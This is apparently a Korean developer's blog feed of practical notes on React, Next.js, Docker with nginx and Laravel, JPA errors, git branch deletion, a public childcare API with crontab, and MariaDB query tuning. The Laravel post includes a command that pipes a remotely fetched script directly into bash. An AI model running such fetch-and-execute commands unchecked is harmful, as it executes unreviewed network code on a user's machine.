페이지에 부모1,부모2,부모3 에 쭈루룩 있고 상태는 전부 false 로 놨다가 클릭 하는것마다 true 로 바꿔서 메롱 하는걸 보여주고자 합니다.

...생략

const filterEvent = (event) => {
      const filter = event.currentTarget.dataset.filter;

      setFilterValuses((prevFilterValues) => ({
          ...prevFilterValues,
          [filter]: !prevFilterValues[filter]
      }));
  }

const FilterDetailList = ({filter}) => {
      return (
          <div>
                - 반갑다 내가 {filter} 자식이다.
          </div>
      );
  }

return (
    <>
      <div>
          <div>
              <div data-filter="부모1" onClick={filterEvent}>
                  <div>부모1</div>                  
              </div>
              {filterValues.부모1 && <FilterDetailList filter="부모1" />}
          </div>
          <div>
              <div data-filter="부모2" onClick={filterEvent}>
                  <div>부모2</div>                  
              </div>
              {filterValues.부모2 && <FilterDetailList filter="부모2" />}
          </div>
          <div>
              <div data-filter="부모3" onClick={filterEvent}>
                  <div>부모3</div>                  
              </div>
              {filterValues.부모3 && <FilterDetailList filter="부모3" />}
          </div>         
      </div>
    
    </>
  )

filterEvent 는 부모1,2,3 에 달린 이벤트이고 클릭 되는 순간 해당 event 의 currentTarget 에 data 로 설정되있는 filter 값을 가져다줍니다.
filterEvent 함수 호출할때 파라미터로 그냥 가져갔어도 됐는데 dataset 은 그냥 써봤어요

그리고 아래 set 에서 선택한 부모값대로 true 혹은 false 로 세팅을 해줍니다.
사실 열고닫는 기능은 아래가 핵심이라해도 과언이 아니겠네요

setFilterValuses((prevFilterValues) => ({
  ...prevFilterValues,
  [filter]: !prevFilterValues[filter]
}));

FilterDetailList 가 자식의 내용이기 때문에 클릭된 부모의 값이 true 라고 한다면 && 로 체크를해서 보여주고 말고를 정해줍니다.

실행을 해보면 아래처럼 열고닫는게 잘 될겁니다.

콘솔을 찍었을때도 열은 부모값만 true 로 잘 바뀌는것을 확인 할 수 있습니다.

아래는 전체 소스

import './App.css'
import { useState } from "react";

const initialFilter = {
      부모1: false,
      부모2: false,
      부모3: false,
};

export default function App() {

  const [filterValues, setFilterValuses] = useState(initialFilter);
  const { 부모1, 부모2, 부모3 } = filterValues;  

  const filterEvent = (event) => {
      const filter = event.currentTarget.dataset.filter;

      setFilterValuses((prevFilterValues) => ({
          ...prevFilterValues,
          [filter]: !prevFilterValues[filter]
      }));
  }

  const FilterDetailList = ({filter}) => {

      return (
          <div>
                - 반갑다 내가 {filter} 자식이다.
          </div>
      );
  }

  console.log(filterValues);
  
  return (
    <>
      <div>
          <div>
              <div data-filter="부모1" onClick={filterEvent}>
                  <div>부모1</div>                  
              </div>
              {filterValues.부모1 && <FilterDetailList filter="부모1" />}
          </div>
          <div>
              <div data-filter="부모2" onClick={filterEvent}>
                  <div>부모2</div>                  
              </div>
              {filterValues.부모2 && <FilterDetailList filter="부모2" />}
          </div>
          <div>
              <div data-filter="부모3" onClick={filterEvent}>
                  <div>부모3</div>                  
              </div>
              {filterValues.부모3 && <FilterDetailList filter="부모3" />}
          </div>         
      </div>
    
    </>
  )
}

별거 아닌 기능이더라도 직접 해보는게 중요한듯 합니다.
사실 jQuery 이용해서 하라하면 코웃음 치면서 금방 끝냈을거같은데 react로 막상 처리하려니 까다롭더군요
물론 큰 기능도 아니거니와, 더 좋은 소스도 많겠지만 저 같은 리액트 초보분들에게 조금이라도 도움이 되었으면 좋겠네요

원래는 타입스크립트로 했던거라 이상한 에러 엄청 떠서 이 부분도 상당히 짜증이 났네요ㅋ
위 filterEvent 함수에 파라미터 받을때에도, filter 타입선언할때도 엄청 에러떠서 아래와 같이 해결 했네요

const filterEvent = (event: React.MouseEvent<HTMLElement>) => {
    const filter = event.currentTarget.dataset.filter as keyof typeof filterValues;

[React] input checkbox 색깔 바꾸기, 커스텀 체크박스

월공 — Sun, 31 Dec 2023 04:27:14 +0900

굳이 리액트에 한정 되있진 않지만 리액트 프로젝트에서 사용 했으므로 기록 해두고자 진행하는 포스팅이다.

input checkbox 가 파란색이 디폴트인데 색을 다르게 해야한다고 퍼블리싱 요청이 와서 간만에 바꿔봤다

 <input
    id="test"
    type="checkbox"
    value="테스트"
    className={`filterCheckbox mr-[7px] align-[-3px]`}    
    checked={checkedInputs?.includes(`잇힝`) ? true : false}
/>

className 에서 눈치 채신분들도 계시겠지만 Tailwind 도 같이 사용중이다.
알맹이는 filterCheckbox 에 있다

background-color 로 내가 원하는 색깔 지정 가능하고, background image 안에 viewBox 값을 조정해서 화살표 위치 및 크기 조정 가능하다.

.filterCheckbox{
    appearance: none;
    width: 18px;
    height: 18px;
    border: 1px solid rgba(158, 158, 158, 1);
    border-radius: 2px;

    &:checked {
        border-color: transparent;
        background-image: url("data:image/svg+xml,%3csvg viewBox='2.5 2.5 11 11' fill='white' xmlns='http://www.w3.org/2000/svg'%3e%3cpath d='M5.707 7.293a1 1 0 0 0-1.414 1.414l2 2a1 1 0 0 0 1.414 0l4-4a1 1 0 0 0-1.414-1.414L7 8.586 5.707 7.293z'/%3e%3c/svg%3e");
        background-size: 100% 100%;
        background-position: 50%;
        background-repeat: no-repeat;
        background-color: rgba(34, 34, 34, 1);
    }
}

checked={checkedInputs?.includes(`잇힝`) ? true : false}

위는 체크박스 색 바꾸는거랑 전혀 연관없는건데 , 유저가 체크한 값을 저장해두고 있어야해서 그냥 check 할때마다 checkedInput 배열에 넣어서 진행을 했던거라 그냥 같이 껴서 적음 ㅋㄷ

docker php-nginx 404 에러

월공 — Sun, 10 Dec 2023 11:34:35 +0900

docker 를 또 간만에 사용하게되어서 윈도우 도커에 php-nginx 이미지를 다운받고 가동시켰는데 404 에러가 떴다.

보통 docker 를 사용하지않고 그냥 로컬에서 nginx 를 깔게되면 아마 /etc/share/nginx/nginx.conf 여기에 모든 설정이 다 있을텐데 docker 로 돌렸을 경우에 conf 파일이 여기저기 찢어져있다.
여튼 conf 에 설정되있는 경로와 php 및 html 파일들이 없어서 나오는 에러다.

도커로 돌렸을 경우 우리가 흔히 생각하는 nginx.conf 파일은 /opt/docker/etc/ngnix 폴더 아래에 있다.

 # vi /opt/docker/etc/nginx/vhost.conf 
 
 server {
    listen 80 default_server;
    listen [::]:80 default_server;

    server_name  _ *.vm docker;

    #root "/app";
    root  /var/www/html/[경로];

    #index index.php;

    include /opt/docker/etc/nginx/vhost.common.d/*.conf;
}

처음 컨테이너 가동 시켰을 경우에 root 가 /app 폴더로 되어있어서 404 에러가 떳던거고 저 부분 잘 고쳐주면된다.

위 vhost.conf 외에도

# vi /opt/docker/etc/nginx/vhost.common.d/10-php.conf

location ~ \.php$ {
    fastcgi_split_path_info ^(.+\.php)(/.+)$;
    fastcgi_pass php;
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME     $request_filename;
    fastcgi_read_timeout 600;

    try_files $uri =404;
}
location @extensionless-php {
      rewrite ^(.*)$ $1.php last;
}

# vi /opt/docker/etc/nginx/vhost.common.d/10-location-root.conf

location / {
    #try_files $uri $uri/ /index.php?$query_string;
    try_files $uri $uri.html $uri/ @extensionless-php;
    index index.html index.htm index.php;
}

여기저기 흩어져있어도 웬만한건 opt/docker/etc/nginx 안에 있으니 잘 찾아보면 원하는 설정대로 할 수 있다.

[Ionic] 안드로이드 스튜디오 웹앱 console.log 확인 하는 방법

월공 — Sun, 26 Nov 2023 17:16:49 +0900

Next.js 를 아이오닉으로 감싸서 안드로이드 앱을 끄적끄적 하고있는데 지도가 계속 안나와서 콘솔에 어떻게 찍히는지 좀 보고싶어서 찾다가 기록하게 되었음

방법은 두가지가 있는데 일단 첫번째는 여기저기 많은 포스팅에서도 볼 수 있었는데 난 이렇게 안했음
자바랑 별로 안친해서 ㅎㅎ;
자꾸 WebView webView = findViewById(R.id.mwebview); 이쪽에서 오류난다고 어쩌고해서 골치 아파서 재낌

 @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
		
        WebView webView = findViewById(R.id.mwebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebChromeClient(new WebChromeClient() {
            @Override
            public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
                Log.d("WebView Console", consoleMessage.message());
                return true;
            }
        });
    }

두번째 방법으로 소스코드 추가 없이 쉽게 볼 수 있었는데, 그냥 안드로이드 스튜디오 가상 머신이 돌아가고 있는 상태에서

구글 크롬에서 "chrome://inspect/#devices" 이라고 접속을 해주고 조금 기다리면 아래처럼 하나가 뜸

Remote Target 부분에 내가 현재 띄운걸 볼 수 있고 거기서 inspect 들어가면 콘솔창이 나온다~

안드로이드 스튜디오 로그 일일히 체크하는것 보다 차라리 그냥 크롬 이용해서 이렇게 보는게 난 더 편했다 ..

[JPA] jpa 세팅 관련 오류 정리 HHH000318 , HHH000204

월공 — Sun, 29 Oct 2023 14:20:23 +0900

아래 오류에서 보다시피 난 jdk 17 버전 사용중이다.

JPA 세팅을 진행하는데 아래와 같은 오류 발생

"C:\Program Files\Java\jdk-17\bin\java.exe" "-javaagent:C:\Program Files\JetBrains\IntelliJ IDEA 2022.3\lib\idea_rt.jar=3238:C:\Program Files\JetBrains\IntelliJ IDEA 2022.3\bin" -Dfile.encoding=UTF-8 -classpath C:\web_developer\java\hellojpa\target\classes;C:\Users\bugki\.m2\repository\org\hibernate\hibernate-entitymanager\5.3.10.Final\hibernate-entitymanager-5.3.10.Final.jar;C:\Users\bugki\.m2\repository\org\jboss\logging\jboss-logging\3.3.2.Final\jboss-logging-3.3.2.Final.jar;C:\Users\bugki\.m2\repository\org\hibernate\hibernate-core\5.3.10.Final\hibernate-core-5.3.10.Final.jar;C:\Users\bugki\.m2\repository\org\javassist\javassist\3.23.2-GA\javassist-3.23.2-GA.jar;C:\Users\bugki\.m2\repository\antlr\antlr\2.7.7\antlr-2.7.7.jar;C:\Users\bugki\.m2\repository\org\jboss\jandex\2.0.5.Final\jandex-2.0.5.Final.jar;C:\Users\bugki\.m2\repository\com\fasterxml\classmate\1.3.4\classmate-1.3.4.jar;C:\Users\bugki\.m2\repository\javax\activation\javax.activation-api\1.2.0\javax.activation-api-1.2.0.jar;C:\Users\bugki\.m2\repository\org\dom4j\dom4j\2.1.1\dom4j-2.1.1.jar;C:\Users\bugki\.m2\repository\org\hibernate\common\hibernate-commons-annotations\5.0.4.Final\hibernate-commons-annotations-5.0.4.Final.jar;C:\Users\bugki\.m2\repository\javax\persistence\javax.persistence-api\2.2\javax.persistence-api-2.2.jar;C:\Users\bugki\.m2\repository\net\bytebuddy\byte-buddy\1.9.5\byte-buddy-1.9.5.jar;C:\Users\bugki\.m2\repository\org\jboss\spec\javax\transaction\jboss-transaction-api_1.2_spec\1.1.1.Final\jboss-transaction-api_1.2_spec-1.1.1.Final.jar;C:\Users\bugki\.m2\repository\com\h2database\h2\1.4.199\h2-1.4.199.jar hellojpa.JpaMain
10월 29, 2023 1:33:10 오후 org.hibernate.jpa.boot.internal.PersistenceXmlParser doResolve
INFO: HHH000318: Could not find any META-INF/persistence.xml file in the classpath
Exception in thread "main" javax.persistence.PersistenceException: No Persistence provider for EntityManager named hello
	at javax.persistence.Persistence.createEntityManagerFactory(Persistence.java:85)
	at javax.persistence.Persistence.createEntityManagerFactory(Persistence.java:54)
	at hellojpa.JpaMain.main(JpaMain.java:10)

Process finished with exit code 1

정상적으로라면 아래 처럼 나와야하는데

나는 META-INF.maven 이라고 되어있어서 'persistence.xml' 파일 드래그해서 resources 로 끌어당긴다음에 아래와 같은 창 뜰때 뒤에다가 \META-INF 라고 수기로 입력해서 조정해줬고

아래에 있는 target 폴더도 그냥 조정해줬다

위 처럼 조정하니까 경로 문제는 해결이되었고

또 아래와 같은 문제가 발생하였는데 이 부분은 jdk 버전이 너무 높아서 발생한거같아 보인다.

10월 29, 2023 2:12:00 오후 org.hibernate.jpa.internal.util.LogHelper logPersistenceUnitInformation
INFO: HHH000204: Processing PersistenceUnitInfo [
	name: hello
	...]
10월 29, 2023 2:12:00 오후 org.hibernate.Version logVersion
INFO: HHH000412: Hibernate Core {5.3.10.Final}
10월 29, 2023 2:12:00 오후 org.hibernate.cfg.Environment <clinit>
INFO: HHH000206: hibernate.properties not found
Exception in thread "main" java.lang.NoClassDefFoundError: javax/xml/bind/JAXBException
	at org.hibernate.boot.spi.XmlMappingBinderAccess.<init>(XmlMappingBinderAccess.java:43)
	at org.hibernate.boot.MetadataSources.<init>(MetadataSources.java:86)
	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.<init>(EntityManagerFactoryBuilderImpl.java:212)
	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.<init>(EntityManagerFactoryBuilderImpl.java:174)
	at org.hibernate.jpa.boot.spi.Bootstrap.getEntityManagerFactoryBuilder(Bootstrap.java:76)
	at org.hibernate.jpa.HibernatePersistenceProvider.getEntityManagerFactoryBuilder(HibernatePersistenceProvider.java:171)
	at org.hibernate.jpa.HibernatePersistenceProvider.getEntityManagerFactoryBuilderOrNull(HibernatePersistenceProvider.java:119)
	at org.hibernate.jpa.HibernatePersistenceProvider.getEntityManagerFactoryBuilderOrNull(HibernatePersistenceProvider.java:61)
	at org.hibernate.jpa.HibernatePersistenceProvider.createEntityManagerFactory(HibernatePersistenceProvider.java:50)
	at javax.persistence.Persistence.createEntityManagerFactory(Persistence.java:79)
	at javax.persistence.Persistence.createEntityManagerFactory(Persistence.java:54)
	at hellojpa.JpaMain.main(JpaMain.java:11)
Caused by: java.lang.ClassNotFoundException: javax.xml.bind.JAXBException
	at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass(BuiltinClassLoader.java:641)
	at java.base/jdk.internal.loader.ClassLoaders$AppClassLoader.loadClass(ClassLoaders.java:188)
	at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:520)
	... 12 more

Process finished with exit code 1

위 에러는 간단하게 pom.xml 에 디펜던시 하나 추가해주고 해결완료

 <dependency>
  <groupId>javax.xml.bind</groupId>
  <artifactId>jaxb-api</artifactId>
  <version>2.3.0</version>
</dependency>

P.S 자바 극혐이었는데 막상 쓸데없는 고집 부리지말고 해보자란 생각으로 스프링부트 김영한님 강의 들으면서 JPA 개념도 잡고있는데 생각보다 괜찮네.. 이클립스에 ibatis 쓰면서 식빵식빵 거렸던게 엊그제같은데 진짜 편리하게 많이 바뀐듯하다 wow ..

[Docker] PHP Laravel 9.x 설치하기 feat.window 10

월공 — Tue, 24 Oct 2023 21:19:41 +0900

윈도우에 Docker 를 사용하여 Laravel 9.x 컨테이너를 설치하려고했다.
언제나 그렇듯 한번에 되지않는다.

Window10 환경이었고 Docker Desktop 은 이미 설치되어있다는 가정하에 진행한다.
아 물론 최신버전으로 되있어야 잘된다.
이 점은 유의하자!

curl -s "https://laravel.build/example-app?with=mysql,redis" | bash

cmd 창에서 프로젝트 생성하고싶은곳에 가서 저렇게 'example-app' 에 내가 원하는 이름 기재하고 엔터치면 프로젝트가
생성됨과 동시에 Laravel docker image 가 생성이 되야한다.

참고로 위 명령어 git bash 에서 실행하면 opt 뭐시기 에러 뜨면서 안되니까
CMD 창에서 실행하는게 정신건강에 좋다.

여튼 위 명령어 쳤을떄 처음 맞닥뜨렸던 에러는

'Docker is not Running'

윈도우에 이미 Docker 가 정상적으로 깔려있고 실행도 되어있는데 왜 저렇게 나오는지 이해가 안됐는데

WSL 2 기반으로 작동이 되어야된다고 한다.

그러면서 Docker Desktop 창의 우측 상단에 톱니바퀴 설정창에 들어가서

General - Use the USL 2 based engine 체크

Resources - WSL integration

위 처럼 체크를 해줘야된다고 한다.

근데 난 이미 되어있는 상태였고 , 사실 난 Docker desktop latest 버전으로 새로 깔고 재부팅하고 나니까 잘됐음..

여튼 그렇게 문제가 해결된듯 해보였으나 2차문제 발생.

위처럼 잘 실행이 되면서 이제 아래처럼 패스워드를 입력하라고 나오는데

아무리 뭘 쳐도 인식을 안함
미치고 환장하겠네... 근데 또 Ctrl + C 하면 설치가 취소되면서 내가 쳤었던 패스워드는 또 찍혀있음

에휴 ... 하면서 찾아보는데 Windows Terminal 로 Ubuntu 환경에서 실행시켜서 하면 잘된다길래 wt 를 설치하려했는데 잘안됐다 자꾸 Microsoft Store 에서 설치하는데도
문제 생기고 그래서 Docker Desktop 설치하면서 같이 깔렸던 wsl 로 실행해서 라라벨 설치 명령어 기재하고나니까 password 정상적으로 입력되는것이 확인되었다.

이렇게 되고나니 Docker Desktop 의 Images 에서도 잘 나오는게 확인 되었다.

윈도우 환경인데 wsl 에서 내가 원하는 경로로 어떻게 접근하냐 라고 생각 될 수도 있는데 wsl 이 정상적으로 깔려있다면
내가 원하는 디렉토리에 가서 파워쉘 열듯이 shift 누르고 우클릭하면 아래처럼 친절하게 잘 뜬다.

그러고나서 curl laravel ... 쭈룩 치면 비밀번호도 잘쳐진다.

마지막으로 관련해서 도움이 된건지 안된건지 잘 모르겠는 명령어 첨부
사실 이것저것 다 시도를 해봐서 뭘해서 잘된건지 잘 모르겠다

wsl.exe -l -v

wsl --install -d Ubuntu

wsl.exe --set-version Ubuntu 2

처음에 라라벨 프로젝트가 정상적으로 생성이 안됐을 당시에 위 명령어를 쳤을때 요런식으로 나왔었는데
'docker-desktop'

지금은 아래처럼 Ubuntu 에 포커싱이 된 채로 나온다.

docker-desktop 에 포커싱이 되어있어야 정상아닌가 싶은데
해당 부분은 일단 써보고 문제 생기면 포스팅 수정하러 다시 오려고 한다 ..

[Next.js] 렌더링 된 화면에서 줄바꿈이 되지않을때 ~!

월공 — Wed, 18 Oct 2023 23:43:46 +0900

HTML5, CSS 단이었다면 되게 간단히 생각했을법도 한데 괜히 Next.js 가 엮여있어서 생각이 안났다는 핑계를 대본다 ..
여튼 포트폴리오를 만들고 있는데 굳이 DB 까지 연동할 필요는 없을것 같아서 그냥 component 각 폴더에 ___data.tsx 형식으로 데이터를 다 넣어줘서 불러오는 식으로 꾸며주고있다.

#/component/Project/projectData.tsx

import { Project } from "@/types/project";

const projectData: Project[] = [
  {
    id: 1,
    title: "뱀팔이",
    paragraph: `국내 희귀애완동물 샵 및 병원을 한곳에서 볼 수 있는 뱀팔이
    웹 사이트 제작 한칸띄어쓰기를 어떻게 넣을수 있을까?
    왜 안될까?
    `,
    image: "/images/project/baam82.png",
    link: "https://baam82.kr/",
    type: "개인",
    publishDate: "2018.12 ~ 2019.01",
    stack: ["PHP","HTML5","CSS3","jQuery","javascript","MySql","Jenkins","Github","AWS"]   
  },
  ..
  
  생략
];
export default projectData;

#/types/project.ts

export type Project = {
  id: number;
  title: string;
  paragraph : string;
  image: string;
  link: string;
  type: string;  
  publishDate: string;
  stack: string[];
};

paragraph 에 백틱으로 선언한것은 따옴표나 홀따옴표로 그냥 넣으면 줄바꿈 했을때 에러가 나기 때문에 백틱으로 감쌌다.여튼 저건 중요한게 아니고 내가 원하는건 정말 간단했다.

저기 넣은 내용대로 렌더링 됐을때 줄바꿈까지 출력되면 되는것

# /component/Project/SingleProject.tsx
'use client'
import { Project } from "@/types/project";

const SingleProject = ({ project }: { project: Project }) => {

	const { id,title,paragraph,image,link,type,publishDate } = project;  
	
	... 생략
	
    console.log(project.paragraph);
    return (
    	<>
			... 생략
        	<div>
            	{project.paragraph}
            </div>
        	... 생략
        </>
    ) 
};

export default SingleProject;

실행해보면 아래처럼 렌더링 화면에서는 줄바꿈이 정상적으로 되지않지만 , 콘솔창에선 잘만되는것을 확인 할 수 있었다.

첫번째 시도


//paragraph 에 값이 있으면 불러와서 \n 으로 들어가있는거 br 태그로 치환해줌
const formattedParagraph = project.paragraph ? project.paragraph.replace(/\n/g, '<br/>') : '';


//출력할때 아래와 같이 기입
<p dangerouslySetInnerHTML={{ __html: formattedParagraph }} />

이건 뭐랄까 .. 잘되긴 하는데 너무 헤비했다
아무리 리액트를 모르는 초짜인 내가봐도 이건 좀 .. 싶은 느낌이랄까
굳이 댕져러쓰 가 들어가있는 태그를 써야하나..
보통 외부 HTML 콘텐츠 표시 할때 쓰인다길래 내가 원하는 방식이 아니었다.

두번째 시도
왜 이걸 생각 못했을까 싶은데 역시나 옛것이 최고인것인가 ..

# /styles/index.css 내용 추가

@layer base {
  body {
    font-family: "Inter", sans-serif;
  }

  .preserve-whitespace {
    white-space: pre-line;
  }
}

위처럼 css 로 조정해주니 아래처럼 잘 나오는것을 확인 할 수 있었다.

까먹지않기 위해 작성하는 포스팅 ~!

Git 원격 저장소 branch 다중 삭제 명령어 정리

월공 — Thu, 21 Sep 2023 10:10:38 +0900

git 로컬 저장소에서 git bash 와 같은 커맨드 창 키고 ~

git 원격 origin 저장소 branch list 확인

git ls-remote --heads origin

결과값 예시

다중 브랜치 삭제 명령어

git push origin [브랜치명1] [브랜치명2]
ex) git push origin --delete refs/heads/dev_ltw_7144 refs/heads/dev_ltw_7204

혹시 브랜치에 특수문자 들어갔을경우 따옴표로 감싸서 진행

git push origin --delete "refs/heads/dev_ltw_(아힝흥헹힝)"

처음에 아래와 같이 진행하면 삭제 될줄알았으나 진행 안됐음
앞에 refs/heds/[브랜치명] 붙이니까 정상적으로 삭제됌

git push origin --delete dev_5187 dev_5267 dev_6067 dev_7652

[PHP] 보육정보공개API 연동 작업 후기 (시군구코드 mysql INSERT 문 첨부) , TRUNCATE, BULKINSERT, CRONTAB

월공 — Sat, 22 Jul 2023 01:01:59 +0900

사내에서 보유중인 데이터와 , 공개API 를 매칭하는 작업을 하였다.
아래 링크에서 API 에 대한 설명 및 메뉴얼을 볼 수 있다.

https://info.childcare.go.kr/info/oais/introduction/Intro.jsp

공개 API 개요 < 보육정보공개 API 소개 < 보육정보공개 API < 어린이집정보공개포털

※ API[Application Program Interface] : 인터넷 이용자가 일방적으로 웹 검색 결과 및 사용자인터페이스(UI) 등을 제공받는 데 그치지 않고 직접 응용 프로그램과 서비스를 개발할 수 있도록 공개된

info.childcare.go.kr

회원가입은 필수이며, 개발계정 신청 및 심의가 있고 심의는 넉넉하게 하루정도 걸린다고 보면된다.

https://info.childcare.go.kr/info/oais/guide/Development.jsp

처음에 테스트 키로 발급받아서 호출할때 데이터들이 죄다 1,2,3,4 이런식으로 찍히는 문제가 있어 왜이런가 했더니
API 설명에 테스트 키는 원래 1,2,3,4... 식으로 찍힌다고 되있었다 -_- ;

여튼 운영계정 키 발급후 해당 키로 호출을 하니 정상적으로 데이터가 나오는것을 확인하였다.

# CHILDCARE_KEY = "발급받은 KEY";
# $arcode = "시군구코드";

#http://api.childcare.go.kr/mediate/rest/cpmsapi030/cpmsapi030/request%20?key=[발급받은 KEY]&arcode=11380
$url = 'http://api.childcare.go.kr/mediate/rest/cpmsapi030/cpmsapi030/request';
$url .= '?key='.CHILDCARE_KEY;
$url .= '&arcode='.$arcode;

위 형식의 링크이고 접속을 하면 아래처럼 각 동네별 원의 정보들을 쭉 보여준다.

시군구코드 테이블 정보와 데이터는 아래에 첨부해둔다
총 250개 행의 데이터가있다.

CREATE TABLE `sigunguCode` (
	`code` INT(5) NOT NULL,
	`name_do` VARCHAR(50) NOT NULL COLLATE 'utf8_general_ci',
	`name_sigun` VARCHAR(50) NULL DEFAULT NULL COLLATE 'utf8_general_ci',
	`zipcode_s` INT(5) NULL DEFAULT NULL,
	`zipcode_e` INT(5) NULL DEFAULT NULL,	
	PRIMARY KEY (`code`) USING BTREE,
	INDEX `zipcode_s` (`zipcode_s`) USING BTREE,
	INDEX `zipcode_e` (`zipcode_e`) USING BTREE	
)
COLLATE='utf8_general_ci'
ENGINE=InnoDB
;

시군구코드 mysql insert.txt

0.04MB

crontab 을 돌려 매일 밤 11시에 API 를 호출하여 우리쪽 테이블에 데이터를 쌓길 원했다.

#매시 20분 간격으로 실행 (20분, 40분)
20 */1 * * * curl -q [호출하고 싶은 페이지]

매시 20분마다 크론탭을 돌린건 맞지만 어차피 안에서 PHP Hour 별로 작업들이 다른것들도 돌아가기 때문에 상관없었다.

소스는 별거 없지만 본문을 그대로 첨부하긴 그래서 대충 요약하면 아래와 같다.

1. 시군구코드를 전부 한번씩 돌리며 (250번) api 를 호출해서 각 지역의 원 정보를 싹다 받아옴

2. 일일히 api 호출할때마다 insert 를 해주면 시간이 너무 오래 걸리기 때문에,
	루프가 돌때마다 $data 라는 배열에 array_push 를 해주고, 루프가 전부 다돌았을때 마지막에
    bulk insert 를 해줌

사실 위 2가지만 생각하면 별거 아닌데 그래도 중간중간에 로그를 쌓아서 기록을 해두거나, 정상적인 시군구코드라 하더라도, api 호출시에 해당 코드에 맞는 데이터가 없을수 있으니 예외처리 및 로그기록 그리고 continue 처리 필요

그리고 해당 API 를 매일매일 호출하면서 데이터를 받아오기 때문에 , 이미 쌓여있는 과거 데이터는 필요가없다.
처음엔 DELETE 를 생각하였으나 대략 5만개를 넘는 원의 정보를 받아오면서 하루에 auto_increment 가 5만씩 늘어나는셈, 데이터 형식은 INT 형이어서 최대값인 2147483647 에 도달하기까지는 한참뒤긴 하다만 그래도 어차피 한참뒤니까 상관없어 하고 방치하는건 내 스타일이 아니기도하고, 너저분한 시퀀스를 보느니 깔끔하게 매일매일 1 부터 들어가길 원했다.
그리하여 DELETE 가 아닌 TRUNCATE 로 정하였다. 테이블의 구조 (인덱스 등) 은 그대로 유지하되 데이터들은 초기화 되는게 딱 쓰이기 좋았다.

#DELETE FROM [테이블명];
TRUNCATE TABLE [테이블명];

이렇게 데이터는 잘 수집이 되었고 문제는 기존에 있는 데이터들의 원의 정보와 매칭을 하는거였는데 , 서브쿼리로도 조인해보고 그냥 일반 조인도 해보고 했었는데 (단순히 원명으로 매칭 시킬수 있는 조건이 절대 아니여서 , 원 전화번호 랑 우편번호로 매칭시킴) 속도가 너무 안나오길래 고민고민하다가 (대략 25~30초 걸림.. 의미없는 쿼리라 판단함)
번호가 중복으로 들어가있는 원도있어서 과감히 버릴 데이터는 버려야겠다 고 판단하였고 아예 조인을 시킬때 원 이름과 전화번호로 group by 를 시켜서 조인을 시키며 ON 절에 전화번호와 like 조건문을 추가하였다.

#기존에 있는 MEMBER 테이블과 JOIN
... 생략 ...

LEFT JOIN (
	SELECT crtelno,crcapat,crchcnt,crname
	FROM [API DATA 테이블]
	GROUP BY crname,crtelno
) AS C ON (
    crtelno = MEMBER.tel AND C.crname LIKE CONCAT("%", MEMBER.name, "%")
 )
 
 
 ... 생략 ...

ON 절에서 컬럼끼리 저렇게 like 로 비교해서 가져올 수 있는건 이번에 처음으로 사용 해본거였는데 나름 신선했다
좋은 경험한듯

group by 로 중복된 전화번호 데이터만 없애줘도 속도 개선에 큰 영향을 주었다. (0.3초 가량 소요)

아 마지막으로 API 에서 받아온 전화번호 형식은 '-' 하이픈이 추가된 상태였는데 (ex. 02-0000-0000)
기존에 내쪽에서 매칭해야되는 번호는 하이픈이 없는 상태라 .. 쿼리에서 replace 하면 되겠지 라고 생각했는데
이것도 상당한 시간이 소요되어서 , 아싸리 애초에 API 를 받아올때 bulk insert 문 만들때 str_replace 로 하이픈을 제거해서 진행하였다.

마지막으로 정말 당연한 이야기지만 확실히 쿼리 실행횟수는 줄일수록 좋다 ...

[mariaDB] 7~8초 걸리던 select 쿼리 빠르게 하기

월공 — Fri, 23 Jun 2023 09:02:01 +0900

실 서비스중인 모바일 페이지가 있는데, 특정 페이지를 진입하면 로딩이 너무 느려진다고 클레임이 들어와서
확인하게 된 쿼리이다.
(정말 더럽게 짜여져있는 레거시 페이지라 하나 하나 지우면서 분석했다. 물론 내가 만든건 아니다.)

아래와 같은 쿼리였는데 JOIN 도 없고 단순히 테이블 한곳에서 Select 해서 가져온다.
쿼리에서 대충 짐작 할 수 있다시피 , 그냥 단순히 특정 회원에게 알림이 쌓이는 테이블이고, read_date 에 읽은 날짜가 기입되고, 읽기전에는 0000-00-00 식으로 기본으로 박혀있다.

SELECT COUNT(*) 
FROM TABLE 
WHERE del_yn = 0 	 	#사용여부
AND user_id = "111111"  #회원 고유 ID
AND read_date = "0000-00-00 00:00:00"; #읽은 날짜

테이블 용량은 대충 13GiB 가량 되며, 컬럼은 20개, 총 데이터 Row 수는 대략 2000만개 정도 되는 테이블이다.

정말 단순한 select 쿼리 라고 생각했는데 해당 부분이 실행이 되는데에 7~8 초 걸린다 해서 콧방귀를 뀌면서 직접 해봤다.

이왜진??

쿼리가 느리다하면 보통 JOIN 이 여러개 걸려있을때만 그런줄 알았는데 신기한 경험을 하게 될줄이야

찾는 컬럼들에 인덱스 키는 당연히 걸려있었다.

그래서 우선 줄일수 있는 WHERE 절 조건 부터 확인했다.

생각해보니 del_yn 은 사용여부 컬럼인데 , 사용자한테 알림 (새 소식) 을 보여주는데 굳이 해당 데이터를 사용 여부를 체크할 필요가 있을까 싶었고 사이드 이펙트 체크를 하기위해 다른곳에서 해당 테이블의 사용여부 컬럼 조건으로 값을 가져가는 부분이 있는지 체크했는데 없었어서,
그냥 의미없이 들어가있는거라 판단하고 바로 del_yn 은 조건에서 제외시키기로 한다.
del_yn 은 1과 0 만 들어가는 TINYINT 데이터 형식임에도 불구하고 해당 부분만 빠져도 2.5초 가량 실행시간이 나왔는데 이것만해도 상당히 성능개선이 많이되었다.

그리고 '0000-00-00 00:00:00' 으로 들어가 있는 부분은 NULL 로 찾는게 훨씬 빠를텐데 이미 다른 페이지에서 애초에 해당 테이블에 insert 를 할때 PHP 단에서 기본값으로 죄다 read_date 컬럼에 '0000-00-00 00:00:00' 라고 박아놔버렸기도하고 이미 쌓여있는 2천만개의 데이터를 이제와서 죄다 고치긴 일이 너무 커질것 같아서 저 부분을 좀 더 보완 할 수 있을까 고민을 해봤는데 mariaDB 에서의 CAST 가 답이었다.

SELECT COUNT(*)
FROM TABLE
WHERE user_id = "111111"  AND CAST(read_date AS INT) = 0

INT 형이 아무래도 검색속도가 빠르기도하고
어차피 read_date 에 값이 들어가있으면 CAST 로 뽑았을경우 무조건 0 이 아니게 되어버리니
